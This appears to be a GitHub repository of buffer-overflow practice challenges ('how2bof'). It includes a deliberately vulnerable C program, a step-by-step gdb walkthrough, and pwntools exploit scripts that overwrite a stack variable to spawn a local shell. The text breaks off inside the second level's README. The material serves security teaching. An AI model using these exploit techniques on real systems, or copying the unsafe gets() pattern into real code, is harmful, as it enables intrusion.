├── .gitignore ├── README.md ├── bof ├── README.md ├── bof ├── bof.c ├── flag ├── step1.py ├── step2.py └── step_final_solve.py ├── bof2 ├── README.md ├── bof2 ├── bof2.c ├── flag ├── runit.sh ├── step1.py ├── step2.py └── step3.py ├── bof3 ├── README.md ├── bof3 ├── bof3.c ├── flag ├── runit.sh ├── step1.py └── step2.py ├── bof4 ├── README.md ├── bof4 ├── bof4.c ├── flag └── runit.sh ├── bof5 ├── README.md ├── bof5 ├── bof5.c ├── flag ├── libc.so.6 ├── runit.sh └── step1.py └── bof6 ├── README.md ├── bof6 ├── bof6.c ├── flag ├── libc.so.6 └── runit.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.gdb_history 2 | peda-session* 3 | *core 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # how2bof 2 | Now updated scripts run with python3! 3 | 4 | Guide to buffer overflows, binaries that can be used to practice BufferOverFlows. All these binaries are 32bit. Compiled on Ubuntu 16.04 (will update to 20.04 at some point) 5 | 6 | You probably arrive here because you're interested in learning to hack. Hopefully this repo contains information that is useful in your pursuit. Another resource I can highly recommend is [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w). He has a real gift for explaining the underlying technical principles. 7 | 8 | ### [Level 1](./bof) 9 | This challenge was taken directly from the [pwnable.kr](http://pwnable.kr) challenge "bof". This is a great starting point for learning about buffer overflows. 10 | 11 | ### [Level 2](./bof2) 12 | This challenge requires you to overwrite the return pointer on the stack. Can you get shell? 13 | 14 | ### [Level 3](./bof3) 15 | This challenge requires you to set up the stack correctly to pass arguments to the system function. Are you up for the challenge? 16 | 17 | ### [Level 4](./bof4) 18 | Similar to bof3, but strings won't be as readily available, can you still get shell? 19 | 20 | ### [Level 5](./bof5) 21 | Introduction into ASLR, and using return to libc (ret2libc) for popping a shell. 22 | 23 | ### [Level 6](./bof6) 24 | Building on the last level, this introduces the concept of stack cookies/sentinels/guards and requires leaking several values yourself by using [FSB](https://github.com/Caesurus/how2fsb). 25 | 26 | --- 27 | ## Essential Tools: 28 | 29 | [pwntools](https://github.com/Gallopsled/pwntools). Please head over there and look up how to install this excellent python module. 30 | 31 | It is also recommended that you use something to make the use of GDB a bit 'friendlier'. 32 | I would recommend using one of the following: 33 | - [GEF](https://github.com/hugsy/gef) 34 | - [pwndbg](https://github.com/pwndbg/pwndbg) 35 | 36 | After putting these challenges together I found: https://github.com/bert88sta/how2exploit_binary 37 | Take a look at his repo and very similar information there (plus more) ;) 38 | -------------------------------------------------------------------------------- /bof/README.md: -------------------------------------------------------------------------------- 1 | # bof @ pwnable.kr 2 | 3 | This challenge originally comes from [pwnable.kr](http://pwnable.kr/play.php). 4 | This is the same binary and is essentially a practical walk through. 5 | Please go and play the other challenges on the site. They are excellent. 6 | 7 | For this challenge there are a couple of things you should know. 8 | 9 | * When I first started playing pwnable.kr, it took me several days to solve this. So don't get discouraged. 10 | * A lot of information out there talks about overwriting the return pointer on the stack (don't worry if this doesn't make any sense at the moment). That is not the goal of this challenge 11 | * It's OK to watch a walkthrough as long as you walk away understanding WHY/HOW the challenge was solved. 12 | * [Video walkthrough](https://www.youtube.com/watch?v=BxSD0cSjyNg&t=13s), But it still may be a bit impractical. 13 | * [Excellent Video on this topic](https://www.youtube.com/watch?v=T03idxny9jE). All his videos are great, highly recommend his channel. 14 | 15 | _There is a LOT to learn, and the goal of this page is to walk you through a practical process of solving this challenge. You may not understand all of the finer details, but that will come later on_ 16 | 17 | So where to start? 18 | 19 | First let's install some tools. I would advise running a system with Ubuntu 16.04 (or 14.04) 20 | 21 | Install: [pwntools](https://github.com/Gallopsled/pwntools) please head over there and look up how to install this excellent python module. 22 | 23 | It is also recommended that you use something to make the use of GDB a bit 'friendlier'. 24 | 25 | I would recommend using one of the following: 26 | - [PEDA](https://github.com/longld/peda) 27 | - [pwndbg](https://github.com/pwndbg/pwndbg) 28 | 29 | --- 30 | Now that you have all of that installed and you have done a local clone of this repo let's proceed and look at the source code 31 | [bof.c](/master/bof/bof.c) 32 | Specifically this code: 33 | ```C 34 | void func(int key){ 35 | char overflowme[32]; 36 | printf("overflow me : "); 37 | gets(overflowme); // smash me! 38 | if(key == 0xcafebabe){ 39 | system("/bin/sh"); 40 | } 41 | ``` 42 | 43 | We see that `key` is an argument passed to the `func()` function. 44 | 45 | We also see `overflowme[32]` is an array the holds 32 bytes. 46 | 47 | There is a call to `gets()` with the pointer to `overflowme` as the buffer. 48 | 49 | Then `key` is checked to see if it is a certain value `0xcafebabe`. 50 | 51 | The vulnerability lies in the fact that you can pass more than 32 bytes to the `gets()` function. It will keep reading data till a return(`\n`) is encountered. 52 | 53 | When a function is called, it will push the argument to the stack and then call the function. 54 | Upon entering the function it will allocate stack space to use in that function. Since the stack grows from high addresses towards low addresses the stack will look like this at the time we really start executing the C code in the `func` function: 55 | ``` 56 | ------------------------- 57 | Lower Stack Addresses 58 | ------------------------- 59 | 0x1ac overflowme <---- The location we're writing to with gets() 60 | ... 61 | 0x1c8 end of overflowme 62 | . 63 | . 64 | . 65 | . 66 | 0x1dc Return Pointer 67 | 0x1e0 key <---- Location we're trying to overwrite 68 | ------------------------- 69 | Higher Stack Addresses 70 | ------------------------- 71 | ``` 72 | So overflowing `overflowme` will allow us to eventually overwrite the value of `key`. If this doesn't quite 'click' at the moment, just proceed and see if it makes sense as you do the next steps. 73 | 74 | Let's fire up a script to step through what is actually happening. 75 | 76 | Try running the [step1.py](./step1.py) script and reading through what it's doing. 77 | Run the script with the `-d` option it will cause gdb to attach to the running process with the breakpoint set at exactly the start of `func()` 78 | 79 | RUN: `./step1.py -d` 80 | 81 | --- 82 | 83 | Now if all went well, and you loaded [PEDA](https://github.com/longld/peda), You should see something like this: 84 | ```asm 85 | [----------------------------------registers-----------------------------------] 86 | EAX: 0xf76e6dbc --> 0xffd9cbcc --> 0xffd9d312 ("GLADE_PIXMAP_PATH=:") 87 | EBX: 0x0 88 | ECX: 0x4b62348c 89 | EDX: 0xffd9cb54 --> 0x0 90 | ESI: 0xf76e5000 --> 0x1b1db0 91 | EDI: 0xf76e5000 --> 0x1b1db0 92 | EBP: 0xffd9cb28 --> 0x0 93 | ESP: 0xffd9cb0c --> 0x5665169f (: mov eax,0x0) 94 | EIP: 0x5665162c (: push ebp) 95 | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 96 | [-------------------------------------code-------------------------------------] 97 | 0x56651627 <__i686.get_pc_thunk.bx>: mov ebx,DWORD PTR [esp] 98 | 0x5665162a <__i686.get_pc_thunk.bx+3>: ret 99 | 0x5665162b <__i686.get_pc_thunk.bx+4>: nop 100 | => 0x5665162c : push ebp 101 | 0x5665162d : mov ebp,esp 102 | 0x5665162f : sub esp,0x48 103 | 0x56651632 : mov eax,gs:0x14 104 | 0x56651638 : mov DWORD PTR [ebp-0xc],eax 105 | [------------------------------------stack-------------------------------------] 106 | 0000| 0xffd9cb0c --> 0x5665169f (: mov eax,0x0) 107 | 0004| 0xffd9cb10 --> 0xdeadbeef 108 | 0008| 0xffd9cb14 --> 0x56651250 --> 0x6e ('n') 109 | 0012| 0xffd9cb18 --> 0x566516b9 (<__libc_csu_init+9>: add ebx,0x193b) 110 | 0016| 0xffd9cb1c --> 0x0 111 | 0020| 0xffd9cb20 --> 0xf76e5000 --> 0x1b1db0 112 | 0024| 0xffd9cb24 --> 0xf76e5000 --> 0x1b1db0 113 | 0028| 0xffd9cb28 --> 0x0 114 | [------------------------------------------------------------------------------] 115 | Legend: code, data, rodata, value 116 | gdb-peda$ 117 | ``` 118 | 119 | If none of this makes sense, don't worry about it right now. Just keep going. 120 | 121 | Now if we want to look at the whole assembly of the `func` we can issue the command `disassemble func` 122 | ```asm 123 | gdb-peda$ disassemble func 124 | Dump of assembler code for function func: 125 | => 0x5665162c <+0>: push ebp 126 | 0x5665162d <+1>: mov ebp,esp 127 | 0x5665162f <+3>: sub esp,0x48 128 | 0x56651632 <+6>: mov eax,gs:0x14 129 | 0x56651638 <+12>: mov DWORD PTR [ebp-0xc],eax 130 | 0x5665163b <+15>: xor eax,eax 131 | 0x5665163d <+17>: mov DWORD PTR [esp],0x5665178c 132 | 0x56651644 <+24>: call 0xf7592ca0 <_IO_puts> 133 | 0x56651649 <+29>: lea eax,[ebp-0x2c] 134 | 0x5665164c <+32>: mov DWORD PTR [esp],eax 135 | 0x5665164f <+35>: call 0xf75923e0 <_IO_gets> 136 | 0x56651654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 137 | 0x5665165b <+47>: jne 0x5665166b 138 | 0x5665165d <+49>: mov DWORD PTR [esp],0x5665179b 139 | 0x56651664 <+56>: call 0xf756dda0 <__libc_system> 140 | 0x56651669 <+61>: jmp 0x56651677 141 | 0x5665166b <+63>: mov DWORD PTR [esp],0x566517a3 142 | 0x56651672 <+70>: call 0xf7592ca0 <_IO_puts> 143 | 0x56651677 <+75>: mov eax,DWORD PTR [ebp-0xc] 144 | 0x5665167a <+78>: xor eax,DWORD PTR gs:0x14 145 | 0x56651681 <+85>: je 0x56651688 146 | 0x56651683 <+87>: call 0xf762a4c0 <__stack_chk_fail> 147 | 0x56651688 <+92>: leave 148 | 0x56651689 <+93>: ret 149 | End of assembler dump. 150 | ``` 151 | Remember the source code... Does anything look familiar between the disassembly and the source? 152 | ```C 153 | printf("overflow me : "); // 0x56651644 <+24>: call 0xf7592ca0 <_IO_puts> 154 | gets(overflowme); // 0x5665164f <+35>: call 0xf75923e0 <_IO_gets> 155 | if(key == 0xcafebabe){ // 0x56651654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 156 | system("/bin/sh"); // 0x56651664 <+56>: call 0xf756dda0 <__libc_system> 157 | } 158 | ``` 159 | 160 | So now we can see exactly when the input is passed to the program (`0x5665164f <+35>`) 161 | Let's step through the instructions till we get to that instruction. You do this by typing `next` and enter. 162 | Now press enter again to repeat that gdb command and step to the next instruction. Do this till the arrow in the disassembly is pointing to `0x5665164f <+35>`. 163 | 164 | ```asm 165 | [----------------------------------registers-----------------------------------] 166 | EAX: 0xffd9cadc --> 0xffd9caec --> 0xffd9caff --> 0x6e5000b9 167 | EBX: 0x0 168 | ECX: 0xffffffff 169 | EDX: 0xf76e6870 --> 0x0 170 | ESI: 0xf76e5000 --> 0x1b1db0 171 | EDI: 0xf76e5000 --> 0x1b1db0 172 | EBP: 0xffd9cb08 --> 0xffd9cb28 --> 0x0 173 | ESP: 0xffd9cac0 --> 0xffd9cadc --> 0xffd9caec --> 0xffd9caff --> 0x6e5000b9 174 | EIP: 0x5665164f (: call 0xf75923e0 <_IO_gets>) 175 | EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) 176 | [-------------------------------------code-------------------------------------] 177 | 0x56651644 : call 0xf7592ca0 <_IO_puts> 178 | 0x56651649 : lea eax,[ebp-0x2c] 179 | 0x5665164c : mov DWORD PTR [esp],eax 180 | => 0x5665164f : call 0xf75923e0 <_IO_gets> 181 | 0x56651654 : cmp DWORD PTR [ebp+0x8],0xcafebabe 182 | 0x5665165b : jne 0x5665166b 183 | 0x5665165d : mov DWORD PTR [esp],0x5665179b 184 | 0x56651664 : call 0xf756dda0 <__libc_system> 185 | Guessed arguments: 186 | arg[0]: 0xffd9cadc --> 0xffd9caec --> 0xffd9caff --> 0x6e5000b9 187 | [------------------------------------stack-------------------------------------] 188 | 0000| 0xffd9cac0 --> 0xffd9cadc --> 0xffd9caec --> 0xffd9caff --> 0x6e5000b9 189 | 0004| 0xffd9cac4 --> 0xffd9cb64 --> 0x519fba9d 190 | 0008| 0xffd9cac8 --> 0xf76e5000 --> 0x1b1db0 191 | 0012| 0xffd9cacc --> 0x9d57 192 | 0016| 0xffd9cad0 --> 0xffffffff 193 | 0020| 0xffd9cad4 --> 0x2f ('/') 194 | 0024| 0xffd9cad8 --> 0xf753fdc8 (jbe 0xf753fdf5) 195 | 0028| 0xffd9cadc --> 0xffd9caec --> 0xffd9caff --> 0x6e5000b9 196 | [------------------------------------------------------------------------------] 197 | Legend: code, data, rodata, value 198 | gdb-peda$ 199 | ``` 200 | 201 | Great! [PEDA](https://github.com/longld/peda) did some guessing for us, and we can see that the argument passed to `gets()` is a pointer on the stack: 202 | ``` 203 | Guessed arguments: 204 | arg[0]: 0xffd9cadc --> 0xffd9caec --> 0xffd9caff --> 0x6e5000b9 205 | ``` 206 | 207 | Let's look at that memory. We can do this with the command `telescope` with the memory location in hex and if we want, a number of 32bit(4 byte) values to print. In this case we want to look at the memory being passed in arg0 `0xffd9cadc` and we want to print 12 x 4byte values. 208 | ```asm 209 | gdb-peda$ telescope 0xffd9cadc 12 210 | 0000| 0xffd9cadc --> 0xffd9caec --> 0xffd9caff --> 0x6e5000b9 211 | 0004| 0xffd9cae0 --> 0x0 212 | 0008| 0xffd9cae4 --> 0x4b62348c 213 | 0012| 0xffd9cae8 --> 0xf75e40d8 (<__GI___getpid+40>: test edx,edx) 214 | 0016| 0xffd9caec --> 0xffd9caff --> 0x6e5000b9 215 | 0020| 0xffd9caf0 --> 0x1 216 | 0024| 0xffd9caf4 --> 0x0 217 | 0028| 0xffd9caf8 --> 0x56652ff4 --> 0x1f14 218 | 0032| 0xffd9cafc --> 0xb90b0300 219 | 0036| 0xffd9cb00 --> 0xf76e5000 --> 0x1b1db0 220 | 0040| 0xffd9cb04 --> 0xf76e5000 --> 0x1b1db0 221 | 0044| 0xffd9cb08 --> 0xffd9cb28 --> 0x0 222 | gdb-peda$ 223 | ``` 224 | Why 12 values? The `overflowme[32]` buffer is 32bytes. That means 32/4 = 8. I want to see several locations after that in the stack, so I picked 12. 225 | 226 | At the moment, you can see that the memory is these locations is uninitialized. Meaning that old stack values are still there. We don't need to worry about what these mean right now. Just that what we pass to the input will show up in this location. 227 | 228 | --- 229 | 230 | Let's take a quick look at the [step1.py](./step1.py) script and what it's doing: 231 | ```python 232 | #wait_for_prompt(r) 233 | payload = cyclic(100) 234 | r.sendline(payload) 235 | 236 | # Drop to interactive console 237 | r.interactive() 238 | ``` 239 | Normally we may want to wait for a prompt and then send the payload. In this case we don't wait and we start sending data to STDIN 240 | 241 | This will get read in by the `gets()` in the vulnerable program. 242 | 243 | And I hear you asking, what is the `cyclic(100)` do? Great question!!! `cyclic()` is a function in pwntools that will create a pattern string that we can use to easily identify offsets with. Let's look at what it does in an interactive python session: 244 | ```python 245 | $ python 246 | Python 2.7.12 (default, Nov 19 2016, 06:48:10) 247 | [GCC 5.4.0 20160609] on linux2 248 | Type "help", "copyright", "credits" or "license" for more information. 249 | >>> from pwn import * 250 | >>> cyclic(100) 251 | 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' 252 | >>> 253 | ``` 254 | 255 | So our script is passing `aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa` as input. 256 | 257 | --- 258 | 259 | Let's switch back to [PEDA](https://github.com/longld/peda) and execute the next instuction (`0x5665164f : call 0xf75923e0 <_IO_gets>`) 260 | 261 | Remember, type `next` and press enter. You should now see this: 262 | ```asm 263 | [----------------------------------registers-----------------------------------] 264 | EAX: 0xffd9cadc ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 265 | EBX: 0x0 266 | ECX: 0xf76e55a0 --> 0xfbad2088 267 | EDX: 0xf76e687c --> 0x0 268 | ESI: 0xf76e5000 --> 0x1b1db0 269 | EDI: 0xf76e5000 --> 0x1b1db0 270 | EBP: 0xffd9cb08 ("laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 271 | ESP: 0xffd9cac0 --> 0xffd9cadc ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 272 | EIP: 0x56651654 (: cmp DWORD PTR [ebp+0x8],0xcafebabe) 273 | EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) 274 | [-------------------------------------code-------------------------------------] 275 | 0x56651649 : lea eax,[ebp-0x2c] 276 | 0x5665164c : mov DWORD PTR [esp],eax 277 | 0x5665164f : call 0xf75923e0 <_IO_gets> 278 | => 0x56651654 : cmp DWORD PTR [ebp+0x8],0xcafebabe 279 | 0x5665165b : jne 0x5665166b 280 | 0x5665165d : mov DWORD PTR [esp],0x5665179b 281 | 0x56651664 : call 0xf756dda0 <__libc_system> 282 | 0x56651669 : jmp 0x56651677 283 | [------------------------------------stack-------------------------------------] 284 | 0000| 0xffd9cac0 --> 0xffd9cadc ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 285 | 0004| 0xffd9cac4 --> 0xffd9cb64 --> 0x519fba9d 286 | 0008| 0xffd9cac8 --> 0xf76e5000 --> 0x1b1db0 287 | 0012| 0xffd9cacc --> 0x9d57 288 | 0016| 0xffd9cad0 --> 0xffffffff 289 | 0020| 0xffd9cad4 --> 0x2f ('/') 290 | 0024| 0xffd9cad8 --> 0xf753fdc8 (jbe 0xf753fdf5) 291 | 0028| 0xffd9cadc ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 292 | [------------------------------------------------------------------------------] 293 | Legend: code, data, rodata, value 294 | gdb-peda$ 295 | ``` 296 | Remember that pointer that got passed to `gets()`? Let's print that out again: 297 | ```asm 298 | gdb-peda$ telescope 0xffd9cadc 12 299 | 0000| 0xffd9cadc ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 300 | 0004| 0xffd9cae0 ("baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 301 | 0008| 0xffd9cae4 ("caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 302 | 0012| 0xffd9cae8 ("daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 303 | 0016| 0xffd9caec ("eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 304 | 0020| 0xffd9caf0 ("faaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 305 | 0024| 0xffd9caf4 ("gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 306 | 0028| 0xffd9caf8 ("haaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 307 | 0032| 0xffd9cafc ("iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 308 | 0036| 0xffd9cb00 ("jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 309 | 0040| 0xffd9cb04 ("kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 310 | 0044| 0xffd9cb08 ("laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 311 | ``` 312 | 313 | OK, that all looks familiar. Great we see that our input was successfully read into memory, and it overflowed the 32 bytes of the buffer. 314 | 315 | We also see that the very next instruction is: 316 | 317 | `=> 0x56651654 : cmp DWORD PTR [ebp+0x8],0xcafebabe` 318 | 319 | This is the comparison of `key` to the constant `0xcafebabe` 320 | 321 | `if(key == 0xcafebabe)` 322 | 323 | Great! So let's see what the value of `key` is. 324 | 325 | **SideNote:** This notation `DWORD PTR [ebp+0x8]` means... the value in memory at address `ebp+0x8`. 326 | 327 | With gdb and PEDA, we can look at this value by doing: 328 | ```asm 329 | gdb-peda$ telescope $ebp+0x8 1 330 | 0000| 0xffd9cb10 ("naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 331 | ``` 332 | This means that the value of `key` is `naaa`. This is GREAT news, because we control that since it was part of our input! 333 | 334 | Our input was: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa~~naaa~~oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa. We can now easily replace the `naaa` with 0xcafebabe. 335 | 336 | Let's exit gdb/PEDA by typing `quit` 337 | 338 | Then make some modifications to our [step1.py](./step1.py) and make a [step2.py](./step2.py) scripts (also checked in already). 339 | 340 | Two changes: 341 | 342 | First, let's set the breakpoint at the comparison instruction. So we get there faster: 343 | ```python 344 | if args.dbg: 345 | r = gdb.debug([exe], gdbscript=""" 346 | b *func+40 347 | continue 348 | """) 349 | ``` 350 | Secondly, let's modify the payload by sending all the data up till the `naaa` and then adding our hex 0xcafebabe. 351 | ```python 352 | #wait_for_prompt(r) 353 | payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa' + '\xbe\xba\xfe\xca' 354 | r.sendline(payload) 355 | ``` 356 | 357 | Please note that it's `\xbe\xba\xfe\xca` and not `\xca\xfe\xba\xbe`. This is due to it being little endian. 358 | 359 | Now let's run the [step2.py -d](./step2.py) and see what happens when we hit the break. 360 | ```asm 361 | [----------------------------------registers-----------------------------------] 362 | EAX: 0xff90447c ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa\276\272\376", ) 363 | EBX: 0x0 364 | ECX: 0xf777c5a0 --> 0xfbad2088 365 | EDX: 0xf777d87c --> 0x0 366 | ESI: 0xf777c000 --> 0x1b1db0 367 | EDI: 0xf777c000 --> 0x1b1db0 368 | EBP: 0xff9044a8 ("laaamaaa\276\272\376", ) 369 | ESP: 0xff904460 --> 0xff90447c ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa\276\272\376", ) 370 | EIP: 0x5657c654 (: cmp DWORD PTR [ebp+0x8],0xcafebabe) 371 | EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) 372 | [-------------------------------------code-------------------------------------] 373 | 0x5657c649 : lea eax,[ebp-0x2c] 374 | 0x5657c64c : mov DWORD PTR [esp],eax 375 | 0x5657c64f : call 0xf76293e0 <_IO_gets> 376 | => 0x5657c654 : cmp DWORD PTR [ebp+0x8],0xcafebabe 377 | 0x5657c65b : jne 0x5657c66b 378 | 0x5657c65d : mov DWORD PTR [esp],0x5657c79b 379 | 0x5657c664 : call 0xf7604da0 <__libc_system> 380 | 0x5657c669 : jmp 0x5657c677 381 | [------------------------------------stack-------------------------------------] 382 | 0000| 0xff904460 --> 0xff90447c ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa\276\272\376", ) 383 | 0004| 0xff904464 --> 0xff904504 --> 0xe4b7e1c6 384 | 0008| 0xff904468 --> 0xf777c000 --> 0x1b1db0 385 | 0012| 0xff90446c --> 0xd57 ('W\r') 386 | 0016| 0xff904470 --> 0xffffffff 387 | 0020| 0xff904474 --> 0x2f ('/') 388 | 0024| 0xff904478 --> 0xf75d6dc8 (jbe 0xf75d6df5) 389 | 0028| 0xff90447c ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa\276\272\376", ) 390 | [------------------------------------------------------------------------------] 391 | Legend: code, data, rodata, value 392 | gdb-peda$ 393 | ``` 394 | OK, and now to look at the `$ebp+0x8` memory location to see if we did it right: 395 | ```asm 396 | gdb-peda$ telescope $ebp+0x8 1 397 | 0000| 0xff9044b0 --> 0xcafebabe 398 | gdb-peda$ 399 | ``` 400 | 401 | Wooohoooo, I think we did it! The value of `key` should be `0xcafebabe` now. Let's step through to the next instruction: 402 | ```asm 403 | => 0x5657c65b : jne 0x5657c66b 404 | 0x5657c65d : mov DWORD PTR [esp],0x5657c79b 405 | 0x5657c664 : call 0xf7604da0 <__libc_system> 406 | 0x5657c669 : jmp 0x5657c677 407 | 0x5657c66b : mov DWORD PTR [esp],0x5657c7a3 408 | JUMP is NOT taken 409 | ``` 410 | As you can see, the `JUMP is NOT taken`. This means that the call to `system()` should take place. Feel free to step through the remaining code, or type `continue` and press enter. 411 | 412 | Now it's time to try the script locally without the debugger attached: 413 | ```bash 414 | ~/code/how2bof/bof$ ./step2.py 415 | [+] Starting local process './bof': pid 4542 416 | [*] Switching to interactive mode 417 | overflow me : 418 | $ ls 419 | bof flag README.md step2.py 420 | bof.c step1.py 421 | $ cat flag 422 | flag{test_flag_for_chall} 423 | $ 424 | [*] Stopped process './bof' (pid 4542) 425 | ``` 426 | As you can see, we get dropped into an interactive shell and we can enter commands. If we do a `cat flag` we see that the flag is printed out. 427 | 428 | Hopefully this has helped someone step through this process for the first time. If you made it this far, congratulations! 429 | Now go and play bof [pwnable.kr](http://pwnable.kr) and also come back to try out the other buffer overflow levels here. 430 | 431 | -------------------------------------------------------------------------------- /bof/bof: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Caesurus/how2bof/a865d6f05a74d5a9463e4726bea54151c79ab338/bof/bof -------------------------------------------------------------------------------- /bof/bof.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | void func(int key){ 5 | char overflowme[32]; 6 | printf("overflow me : "); 7 | gets(overflowme); // smash me! 8 | if(key == 0xcafebabe){ 9 | system("/bin/sh"); 10 | } 11 | else{ 12 | printf("Nah..\n"); 13 | } 14 | } 15 | int main(int argc, char* argv[]){ 16 | func(0xdeadbeef); 17 | return 0; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /bof/flag: -------------------------------------------------------------------------------- 1 | flag{test_flag_for_chall} 2 | -------------------------------------------------------------------------------- /bof/step1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import time 4 | import argparse 5 | from pwn import * 6 | context.update(arch='i386', os='linux') 7 | 8 | def wait_for_prompt(r): 9 | print(r.recvuntil(b"overflow me :")) 10 | 11 | #-------------------------------------------------------------------------- 12 | if __name__ == "__main__": 13 | 14 | parser = argparse.ArgumentParser(description='Exploit the bins.') 15 | parser.add_argument('--dbg' , '-d', action="store_true") 16 | args = parser.parse_args() 17 | exe = './bof' 18 | 19 | if args.dbg: 20 | r = gdb.debug([exe], gdbscript=""" 21 | b *func 22 | continue 23 | """) 24 | else: 25 | r = process(exe) 26 | 27 | #wait_for_prompt(r) 28 | payload = cyclic(100) 29 | r.sendline(payload) 30 | 31 | # Drop to interactive console 32 | r.interactive() 33 | 34 | -------------------------------------------------------------------------------- /bof/step2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import time 4 | import argparse 5 | from pwn import * 6 | context.update(arch='i386', os='linux') 7 | 8 | def wait_for_prompt(r): 9 | print(r.recvuntil(b"overflow me :")) 10 | 11 | #-------------------------------------------------------------------------- 12 | if __name__ == "__main__": 13 | 14 | parser = argparse.ArgumentParser(description='Exploit the bins.') 15 | parser.add_argument('--dbg' , '-d', action="store_true") 16 | args = parser.parse_args() 17 | exe = './bof' 18 | 19 | if args.dbg: 20 | r = gdb.debug([exe], gdbscript=""" 21 | b *func+40 22 | continue 23 | """) 24 | else: 25 | r = process(exe) 26 | 27 | #wait_for_prompt(r) 28 | payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa' + b'\xbe\xba\xfe\xca' 29 | r.sendline(payload) 30 | 31 | # Drop to interactive console 32 | r.interactive() 33 | 34 | -------------------------------------------------------------------------------- /bof/step_final_solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import time 4 | import argparse 5 | from pwn import * 6 | context.update(arch='i386', os='linux') 7 | 8 | def wait_for_prompt(r): 9 | print(r.recvuntil(b"overflow me :")) 10 | 11 | #-------------------------------------------------------------------------- 12 | if __name__ == "__main__": 13 | 14 | parser = argparse.ArgumentParser(description='Exploit the bins.') 15 | parser.add_argument('--dbg' , '-d', action="store_true") 16 | args = parser.parse_args() 17 | 18 | r = process('./bof') 19 | 20 | if args.dbg: 21 | gdb.attach(r, """ 22 | vmmap 23 | b *func+40 24 | """) 25 | 26 | #wait_for_prompt(r) 27 | payload = b"A"*52 28 | payload += p32(0xcafebabe) 29 | r.sendline(payload) 30 | print("you should now have a shell") 31 | # Drop to interactive console 32 | r.interactive() 33 | 34 | -------------------------------------------------------------------------------- /bof2/README.md: -------------------------------------------------------------------------------- 1 | # bof2 2 | 3 | This challenge is designed to show how to find and overwrite the return pointer on the stack. 4 | You may want to check out: [LiveOverflow](https://www.youtube.com/watch?v=8QzOC8HfOqU) 5 | 6 | This challenge builds off of the previous one. The last challenge overwrote a variables' value on the stack. In this challenge we look into program flow and taking control of code execution. 7 | 8 | The source for this challenge is very similar except that the passed parameter is defined in a global scope. This means that the comparison is not going to look on the stack for the variable value. 9 | 10 | If we revisit my very crude depiction of the stack, we can see where the return pointer is. When a function is called the return pointer will get pushed to the stack and then stack memory will be allocated for that function to do what it needs with its local variables. 11 | 12 | ``` 13 | ------------------------- 14 | Lower Stack Addresses 15 | ------------------------- 16 | 0x1ac overflowme <---- The location we're writing to with 